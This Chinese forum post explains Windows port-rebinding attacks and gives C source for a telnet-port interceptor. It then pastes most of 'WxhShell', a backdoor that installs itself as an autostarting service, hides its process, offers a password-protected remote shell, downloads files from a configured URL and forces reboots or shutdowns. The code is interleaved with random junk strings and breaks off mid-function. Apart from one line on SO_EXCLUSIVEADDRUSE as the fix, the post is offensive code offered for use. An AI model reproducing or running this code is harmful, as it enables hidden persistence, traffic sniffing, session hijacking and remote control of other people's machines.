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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `fA|])3T  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |` +G7?)Y  
>AsrPU[  
  saddr.sin_family = AF_INET; 9~FB^3Nz_  
[p7cgHSMt  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }RT#V8oc  
'=^$ ;3Z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l'#P:eW  
eC71;"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m:{ws~   
@}Y,A~   
  这意味着什么?意味着可以进行如下的攻击: <+%#xi/_  
k- ?:0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 'Itsu~fza  
6,D)o/_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Uz&XqjS  
H%AF,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fNkN  
Oy,`tG0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  JkiMrpkuk  
ls<7Qe"a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'aFjyY?%  
j![;;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1E]|>)$  
w N-np3k  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %#^)hX,+Q  
Ul41R Ny)  
  #include mROXwzL  
  #include c,\!<4  
  #include \vU1*:3  
  #include    0!^vQ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~S='~ g)  
  int main() jZ;dY~fE  
  { ~jqG  
  WORD wVersionRequested; svBT~P0x  
  DWORD ret; tk"+PTGJT  
  WSADATA wsaData; 4IW7^Pq`P  
  BOOL val; }E}b/ulg1  
  SOCKADDR_IN saddr; pu"`*NL  
  SOCKADDR_IN scaddr; 3O W) %  
  int err; (zm5 4 Vm  
  SOCKET s; >*5+{~k~4  
  SOCKET sc; RH+'"f  
  int caddsize; b.<>CG'  
  HANDLE mt; ns{BU->f  
  DWORD tid;   ;T6x$e  
  wVersionRequested = MAKEWORD( 2, 2 ); j#`d%eQ~J  
  err = WSAStartup( wVersionRequested, &wsaData ); @L)=epC  
  if ( err != 0 ) { !E0zj9 [ R  
  printf("error!WSAStartup failed!\n"); -}h+hS50F  
  return -1; vw'`t6  
  } ?-"%%#  
  saddr.sin_family = AF_INET; n$ri:~s  
   7:Jyu/*]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -]uN16\ F  
?&H1C4   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); T vEN0RV2  
  saddr.sin_port = htons(23); (Nky?*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +:s]>R eDa  
  { '_~X(izc  
  printf("error!socket failed!\n"); j70]2NgX  
  return -1; ZW]Q|vPh4U  
  } 7,\Uk|  
  val = TRUE; m}x&]">9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 | CC(`<\R  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `@Q%}J  
  { ~B NLzt3%O  
  printf("error!setsockopt failed!\n"); ?Q~6\xA  
  return -1; Pmj]"7Vd[  
  } Mbt}G|;8H7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I1H} 5 bf3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >UP{= `  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ed,w-;(n~  
>@2l/x8;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Dn 6k,nVh  
  { `o9vE0^T<  
  ret=GetLastError(); W.xlS ZEB  
  printf("error!bind failed!\n"); F^ m`j6  
  return -1; V7zF5=w  
  } m]bv2S+5y  
  listen(s,2); +&W%]KEh  
  while(1) m"2KAq61  
  { _d8k[HAJ|  
  caddsize = sizeof(scaddr); iXN7+QO)  
  //接受连接请求 [w%MECTe  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8-N8v *0  
  if(sc!=INVALID_SOCKET) RaK fYLw  
  { Q9lw~"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5$r`e+Nf'  
  if(mt==NULL) kKFSCl/g  
  { b6IYo!3  
  printf("Thread Creat Failed!\n"); *cdr,AD?lH  
  break; He)<S?X-6  
  } Wdt9k.hzN  
  } )\:cL GM  
  CloseHandle(mt); =:+k  
  } 0hKF)b  
  closesocket(s); p< fKj  
  WSACleanup(); _)J;PbK~  
  return 0; +F &,,s"&  
  }   %!r>]M <  
  DWORD WINAPI ClientThread(LPVOID lpParam) #?xhfSgr  
  { RLypWjMx$  
  SOCKET ss = (SOCKET)lpParam; hcw)qB,s  
  SOCKET sc; KzQ\A!qG  
  unsigned char buf[4096]; _YXk ,ME!Q  
  SOCKADDR_IN saddr; ?|8QL9Q"|  
  long num; dOm#NSJVd  
  DWORD val; f`5e0;zm  
  DWORD ret; uzO%+B!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 apxZ}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   zMfr`&%e  
  saddr.sin_family = AF_INET; 8oSndfV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); or_x0Q  
  saddr.sin_port = htons(23); 1cE3uA7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pV#~$e  
  { ?_e2)+q8YG  
  printf("error!socket failed!\n"); Y[AL!h  
  return -1; Hno:"k?  
  } v;S7i>\  
  val = 100; (+<SR5,/3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z6)SaSYE  
  { &qki NS  
  ret = GetLastError(); Z!TLWX "  
  return -1; Q 'R@'W9  
  } })Og sBk  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `}1IQ.3  
  { B2~KkMF  
  ret = GetLastError(); r5qp[Ss3F  
  return -1; zcGeXX}V?  
  } k zhek >  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x+zz:^yHYf  
  { esH>NH_  
  printf("error!socket connect failed!\n"); 'CT 8vt;  
  closesocket(sc); ^l#Z*0@><~  
  closesocket(ss); 4h>Dpml  
  return -1; @ 8yV15!  
  } Egv (n@1  
  while(1) >]q{vKCAP  
  { hKw4[wB]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4K82%P9a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 R07Kure  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 w/r wE  
  num = recv(ss,buf,4096,0); U2=l; R{  
  if(num>0) |3f?1:"Z  
  send(sc,buf,num,0); =6b^j]1  
  else if(num==0) &B uO-  
  break; SxLu<  
  num = recv(sc,buf,4096,0); gc-yUH0I  
  if(num>0) #%U5,[<a8  
  send(ss,buf,num,0); _tZT  
  else if(num==0) )s6pOxWx  
  break; c>~"Z-VtX  
  } WjxO M\?#  
  closesocket(ss); d\}r.pD  
  closesocket(sc); 0  ;$[  
  return 0 ; 3]BK*OqJ  
  } X cmR/+  
'~ RP+  
DfP4 `  
========================================================== h#9X0u7j  
~:r:?PwWG  
下边附上一个代码,,WXhSHELL OD !b*Iy|  
4y&%YLMpl  
========================================================== !|{T>yy  
{-IH?!&v  
#include "stdafx.h" S6gg(nNe  
bX%9'O[-  
#include <stdio.h> :T(3!}4  
#include <string.h> H8+7rM  
#include <windows.h> /t`s.!k  
#include <winsock2.h> DjK:)  
#include <winsvc.h> lz.ta!6  
#include <urlmon.h> oJJ2y  
0R&$P 6  
#pragma comment (lib, "Ws2_32.lib") A+*M<W  
#pragma comment (lib, "urlmon.lib") d@~Hp?  
d^sS{m\  
#define MAX_USER   100 // 最大客户端连接数 VSa\X~  
#define BUF_SOCK   200 // sock buffer ?sV0T)uk  
#define KEY_BUFF   255 // 输入 buffer )IQa]A  
)%lPa|7s  
#define REBOOT     0   // 重启 [V_Z9-f*  
#define SHUTDOWN   1   // 关机 bhaIi>W~G  
Lu!o!>b  
#define DEF_PORT   5000 // 监听端口 ].=&^0cg  
:,03)[u{8  
#define REG_LEN     16   // 注册表键长度 &U%AVD[  
#define SVC_LEN     80   // NT服务名长度 6('2.^8  
?zW4|0  
// 从dll定义API Vo^ i7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _oK*1#Rm8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /?<o?IR~6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H'E(gc)>)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $s-/![ 6  
Coz\fL  
// wxhshell配置信息 ) -x0xY  
struct WSCFG { f0+)%gO{  
  int ws_port;         // 监听端口 7M*&^P\}es  
  char ws_passstr[REG_LEN]; // 口令 "w.gP8`  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5[3vu p?  
  char ws_regname[REG_LEN]; // 注册表键名 'E FP/(2J  
  char ws_svcname[REG_LEN]; // 服务名 ygoA/*s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Os--@5e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tB4dkWt.}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Hd H,   
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9?$Qk0jc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b_2bg>|;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NuZiLtC  
H&`0I$8m  
}; fz'@ON  
%O] ]La  
// default Wxhshell configuration 53efF bo  
struct WSCFG wscfg={DEF_PORT, #!="b8F  
    "xuhuanlingzhe", ]t$wK  
    1, ]E/^(T-O  
    "Wxhshell", Dy`;]-b6u  
    "Wxhshell", / i[F  
            "WxhShell Service", C;]}Ht:~I  
    "Wrsky Windows CmdShell Service", lezX-5Z  
    "Please Input Your Password: ", 7]se!k,  
  1, ASA ]7qyO  
  "http://www.wrsky.com/wxhshell.exe", ?:DeOBAb  
  "Wxhshell.exe" 2wR?ON=Q  
    }; 5=Cea  
r]JV !'R  
// 消息定义模块 jpijnz{M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s6=jHrdvv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GH ] c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [t #xX59  
char *msg_ws_ext="\n\rExit."; 8NCu;s  
char *msg_ws_end="\n\rQuit."; !R@v\Eu  
char *msg_ws_boot="\n\rReboot..."; PM ]|S`  
char *msg_ws_poff="\n\rShutdown..."; WbF[4 x  
char *msg_ws_down="\n\rSave to "; 6! `^}4  
*K}h >b 1  
char *msg_ws_err="\n\rErr!"; Egy#_ RT{  
char *msg_ws_ok="\n\rOK!"; .d mUh-  
)b AOA  
char ExeFile[MAX_PATH]; xZbiEDU  
int nUser = 0; @`"U D  
HANDLE handles[MAX_USER]; YU >NGC]}d  
int OsIsNt; <5).(MTa  
9BW"^$  
SERVICE_STATUS       serviceStatus; p1}umDb%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]J|]IP Xy  
G,o5JL"t  
// 函数声明 z)AZ:^!O  
int Install(void); LC8&},iu  
int Uninstall(void); 4Wsp PHj  
int DownloadFile(char *sURL, SOCKET wsh); \PU7,*2  
int Boot(int flag); Q`= ,&;T>  
void HideProc(void); k5M3g*  
int GetOsVer(void); :c03"jvYE  
int Wxhshell(SOCKET wsl); (r Tn6[ *  
void TalkWithClient(void *cs); mf4C68DI@u  
int CmdShell(SOCKET sock); N{kp^Byim0  
int StartFromService(void); jimWLF5Q5"  
int StartWxhshell(LPSTR lpCmdLine); &Ul8h,qw  
Rda~Drz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y}5:CZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ULT,>S6r  
-!Ov{GHr0  
// 数据结构和表定义 y6#AL<W@=  
SERVICE_TABLE_ENTRY DispatchTable[] = 2g0_[$[m  
{ $c^,TAN  
{wscfg.ws_svcname, NTServiceMain}, Cpg>5N~;L  
{NULL, NULL} `2 6t+Tb  
}; Uw!N;QsC  
rJz`v/:|P  
// 自我安装 >]dH1@@  
int Install(void) W=-:<3XL  
{ WR :I2-1  
  char svExeFile[MAX_PATH]; @O]v.<8  
  HKEY key; "+dByaY  
  strcpy(svExeFile,ExeFile); - K%hug  
1iLrKA  
// 如果是win9x系统,修改注册表设为自启动 >^!)G^B  
if(!OsIsNt) { 6j 2mr6o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J ?y0R X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f3;.+hJ])  
  RegCloseKey(key); bz'#YM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *@+E82D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z@1vJH6IbA  
  RegCloseKey(key); lEXER^6  
  return 0; Mp-hNO}.Z  
    } wf`e3S  
  } H{1'OC  
} z79c30y]"  
else { BmhIKXE{*  
Y[~Dj@Q<  
// 如果是NT以上系统,安装为系统服务 zm~sq_=^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %mFZ!(  
if (schSCManager!=0) <>71;%e;'  
{ +eUWf{(_  
  SC_HANDLE schService = CreateService Bx" eX>A8  
  ( (qyT,K8  
  schSCManager, +{b3A@f|F  
  wscfg.ws_svcname, ]yAOKmS  
  wscfg.ws_svcdisp, ,v@C=4'm  
  SERVICE_ALL_ACCESS, 3'jH,17lWV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dTTC6?yPXf  
  SERVICE_AUTO_START, !5^&?plC@  
  SERVICE_ERROR_NORMAL, qK-\`m  
  svExeFile, ]8o[&50y  
  NULL, \c(Z?`p]R1  
  NULL, "K)ue@?  
  NULL, U32&"&";c  
  NULL, wSPwa,)7s  
  NULL 7;rf$\-&  
  ); x\K9|_!  
  if (schService!=0) . UaLP  
  { 'UFPQ  
  CloseServiceHandle(schService); a<CJ#B2K  
  CloseServiceHandle(schSCManager); NK!#K>AO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y'U]!c9  
  strcat(svExeFile,wscfg.ws_svcname); n4A#T#D!t3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s`dwE*~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w f""=;  
  RegCloseKey(key); x%J.$o[<_  
  return 0; [}Z!hq  
    } jccSjGX@w  
  } bNh~=[E  
  CloseServiceHandle(schSCManager); hi0-Sw  
} wQw&.)T  
} Xaw&41K  
:8LK}TY7  
return 1; (Kg( 6E,  
} AAc*\K  
XCyAt;neon  
// 自我卸载  %G>  
int Uninstall(void) :zK\t5  
{ LUKt!I0l  
  HKEY key; N /Fa^[  
cM Z-  
if(!OsIsNt) { 6}JW- sA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f7v|N)  
  RegDeleteValue(key,wscfg.ws_regname); []<N@a6VA>  
  RegCloseKey(key); DP6>fzsl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UZ-[vD1n  
  RegDeleteValue(key,wscfg.ws_regname); n eBcS[  
  RegCloseKey(key); qBF}-N_  
  return 0; $,8}3R5}  
  } J/>9w  
} ["BD,mB  
} G_v^IM#B=  
else { ojbms>a  
i~ITRi@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m ?#WQf  
if (schSCManager!=0) Jq8:33s   
{ <7*d2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W{X5~w(  
  if (schService!=0) cL+bMM$4r~  
  { C+vk9:"  
  if(DeleteService(schService)!=0) { 8T"8C  
  CloseServiceHandle(schService); @$R^-_m  
  CloseServiceHandle(schSCManager); \rSofn#c  
  return 0; uZXG"  
  } \}:;kO4f  
  CloseServiceHandle(schService); 6QX2&[qWS  
  } z|v/h UrD  
  CloseServiceHandle(schSCManager); 5-! Zm]  
} {1L{   
} u,`cmyZ  
q vGP$g  
return 1; =v6qr~  
} JLh{>_Rr  
Ocf:73t  
// 从指定url下载文件 %ou@Y`  
int DownloadFile(char *sURL, SOCKET wsh) <G /a-Z  
{ cIQ e^C  
  HRESULT hr; O`TM}  
char seps[]= "/"; #<81`%  
char *token; LPS]TG\  
char *file; 2|JtRE+  
char myURL[MAX_PATH]; OR<%h/ \f  
char myFILE[MAX_PATH]; i/j eb*d0  
Jk_ }y  
strcpy(myURL,sURL); ueLdjASJ  
  token=strtok(myURL,seps); k{E!X  
  while(token!=NULL) DgGG*OXY  
  { r#\Lq;+-B  
    file=token; qs3V2lvYw{  
  token=strtok(NULL,seps); ; G4g;YHy|  
  } f19'IH$n{  
6I-Qq?L[H  
GetCurrentDirectory(MAX_PATH,myFILE); {33B%5n"  
strcat(myFILE, "\\"); UO}Yr8Z;  
strcat(myFILE, file); @% .;}tC  
  send(wsh,myFILE,strlen(myFILE),0); _KAg1Ww  
send(wsh,"...",3,0); ftccga  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <]'1YDA  
  if(hr==S_OK) _.+2sm   
return 0; Wq"^{  
else ,A;wLI  
return 1; VL8yL`~zc.  
3) _(t.$D  
} XpT+xv1`;  
R@lA5w  
// 系统电源模块 2T3b6  
int Boot(int flag) ~vw$Rnotz  
{ [z r2\(  
  HANDLE hToken; `c'R42S A  
  TOKEN_PRIVILEGES tkp; Qt"i  
9k3RC}dEr  
  if(OsIsNt) { gi JjE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j7 \y1$w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nrJW.F]S8[  
    tkp.PrivilegeCount = 1; EzGO/uZ]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f;]C8/W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j)Y68fKK  
if(flag==REBOOT) { ^wMZG'/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x2Dg92  
  return 0; B; r` 1 G  
} zTW)SX_O  
else { Qkx}A7sK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bxvpj  
  return 0; &m{vLw  
} ?xYoCn}Z  
  } 8w9?n3z=}  
  else { p(pL"  
if(flag==REBOOT) {  ^9 Pae)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b9"HTQHl  
  return 0; Ry"N_Fb  
} 905Lk>rB  
else { >m4HCs>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lzK,VZ=mM  
  return 0; C>Cb  
} %d2\4{{S  
} 3$h yV{  
e)2w&2i`(F  
return 1; -b'a-?  
} (i>bGmiN  
lj"72   
// win9x进程隐藏模块 D:fLQ8a  
void HideProc(void) v<V9Z <ub  
{ C$7dmGjZ  
LseS8F/q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]C5/-J,F  
  if ( hKernel != NULL ) 2M*84oh8P  
  { 7"s8G 7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [Q:mLc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xF7q9'/F  
    FreeLibrary(hKernel); E2( {[J  
  } C~8;2/F7  
f<Xi/ (  
return; Ue!~|:  
} 6 i'kc3w  
,xuA%CF-S  
// 获取操作系统版本 3mH(@ -OA  
int GetOsVer(void) 7cly{U"  
{ <BhNmEo)2  
  OSVERSIONINFO winfo; E2yL9]K2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =6< Am  
  GetVersionEx(&winfo); t[HA86X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %C~LKs5oH  
  return 1; Z=[?T f  
  else xOBzT&  
  return 0; TY]-L1$  
} xL} ~R7  
0/,Dy2h  
// 客户端句柄模块 ??h4qJ  
int Wxhshell(SOCKET wsl) WQ)vu&;  
{ &v.Nj9{zi  
  SOCKET wsh; Bb@m-+f  
  struct sockaddr_in client; uYAMW{AT  
  DWORD myID; V8+8?5'l  
wfrSI:+>  
  while(nUser<MAX_USER) ?@5#p*u0  
{ \@hq7:Q  
  int nSize=sizeof(client); X'.*I])  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *k<{nj@y  
  if(wsh==INVALID_SOCKET) return 1; 2; ~jKR[~  
(sL!nRw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }e4#Mx  
if(handles[nUser]==0) DY?;Z98P?  
  closesocket(wsh); Q4QF_um  
else 6*%E4#4  
  nUser++; vz}_^8O  
  } CZ}%\2>-v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oz#;7 ?9  
,B||8W9  
  return 0; Fv2U@n6'v  
} I'a&n}j x  
Olltu"u  
// 关闭 socket x5"F`T>Y  
void CloseIt(SOCKET wsh) bYB:Fe=2  
{ ~-K<gT/  
closesocket(wsh); /4bHN:I]M  
nUser--; #xe-Yw1!  
ExitThread(0); HG:9yP<,o  
} @&}~r  
{+^qm8n  
// 客户端请求句柄 8D1+["&  
void TalkWithClient(void *cs) _0 $W;8X  
{ Ry4`Q$=:  
tk~<tqMq  
  SOCKET wsh=(SOCKET)cs; PYJ8\XZ1_N  
  char pwd[SVC_LEN]; 5`O af\S  
  char cmd[KEY_BUFF]; v]e6CZwo  
char chr[1]; n s`njx}C  
int i,j; <OA[u-ph%S  
wxIWh>pZa  
  while (nUser < MAX_USER) { C .{`-RO  
$R_RKyXzo  
if(wscfg.ws_passstr) { s7G!4en  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5.X`[/]<r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z2Kvp"-}  
  //ZeroMemory(pwd,KEY_BUFF); 0VwmV_6'<W  
      i=0; ;1Zz-@  
  while(i<SVC_LEN) { n|Smy\0  
g*[DyIm  
  // 设置超时 =b[q<p\  
  fd_set FdRead; oH]"F  
  struct timeval TimeOut; 3*;S%1C^  
  FD_ZERO(&FdRead); |8s45g>  
  FD_SET(wsh,&FdRead); \o=YsJ8U  
  TimeOut.tv_sec=8; +y\mlfJ.-b  
  TimeOut.tv_usec=0; Y.}8lh eH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gaa;PX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t?6_^ 08  
mCQn '{)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <[w>Mbqj_  
  pwd=chr[0]; n1 kh8,  
  if(chr[0]==0xd || chr[0]==0xa) { YDo Vm?  
  pwd=0; hB 36o9|9  
  break; OF/DI)j3  
  } mjXO}q7  
  i++; iqh"sx{5bp  
    } z*BGaSX %  
pG0Ca](  
  // 如果是非法用户,关闭 socket "j] r   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O0cKmh6=  
} 6}S1um4 F  
BkcA_a:W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \V/;i.ng  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P K9BowlW  
DP<[Uz&  
while(1) { pJ ;4rrSK  
TOvpv@?-  
  ZeroMemory(cmd,KEY_BUFF); Z%1{B*(e  
)AoF-&,w  
      // 自动支持客户端 telnet标准   t $yt8#Tk  
  j=0; ?PSVVU q,Z  
  while(j<KEY_BUFF) { jZLD^@AP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %jRqrICd  
  cmd[j]=chr[0]; 6i.!C5YX]  
  if(chr[0]==0xa || chr[0]==0xd) { +PGtO9}B  
  cmd[j]=0; 3I%F,-r  
  break; @ - _lw  
  } DgiMMmpE  
  j++; qp)a`'Pq  
    } cJ#|mzup  
hm+,o_+  
  // 下载文件 B9Y*'hmI  
  if(strstr(cmd,"http://")) { Y9_OkcW)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ji :E  
  if(DownloadFile(cmd,wsh)) wS%aN@ay3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H% "R _[+  
  else m#kJ((~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [23F0-p  
  } \$%q< _l  
  else { u/g4s (a  
}8,[B50  
    switch(cmd[0]) { |E =8  
  TU(w>v  
  // 帮助 g9K7_T #W  
  case '?': {  01;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iD-,C`  
    break; +kN/-UsB  
  } QYj8c]8f  
  // 安装 !1<?ddH6  
  case 'i': { j\9v1O!T  
    if(Install()) ="Sa>-d o,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P6 & _q  
    else &hri4p/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~!A*@a C  
    break; E` aAPk_ y  
    } e"]*^Q  
  // 卸载 F^bzE5#  
  case 'r': { &9:"X  
    if(Uninstall()) }W)c-91  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZlxJY%o eu  
    else s1| +LT ,D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r"uOf;m  
    break; X5`#da  
    } 9u&q{I  
  // 显示 wxhshell 所在路径 _J+p[=[L  
  case 'p': { k ICZc{} `  
    char svExeFile[MAX_PATH]; u{SJ#3C5  
    strcpy(svExeFile,"\n\r"); !W3bHy:C"  
      strcat(svExeFile,ExeFile); @cz\'v6E  
        send(wsh,svExeFile,strlen(svExeFile),0); a$K.Or}  
    break; ck"lX[d1  
    } WUnmUW[/  
  // 重启 f#3U,n8:  
  case 'b': { asQXl#4r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @ a?^2X^  
    if(Boot(REBOOT)) ; M%n=+[O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tF@hH}{;  
    else { fZ)M Dq  
    closesocket(wsh); se:lKZZ]  
    ExitThread(0); =|_{J"sv  
    } *#n?6KqZ  
    break; wf[B-2q)  
    } 8H})Dq%d7  
  // 关机 i& ,Wg8#R  
  case 'd': { Vs0T*4C=n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5u=(zg  
    if(Boot(SHUTDOWN)) @! gJOy  
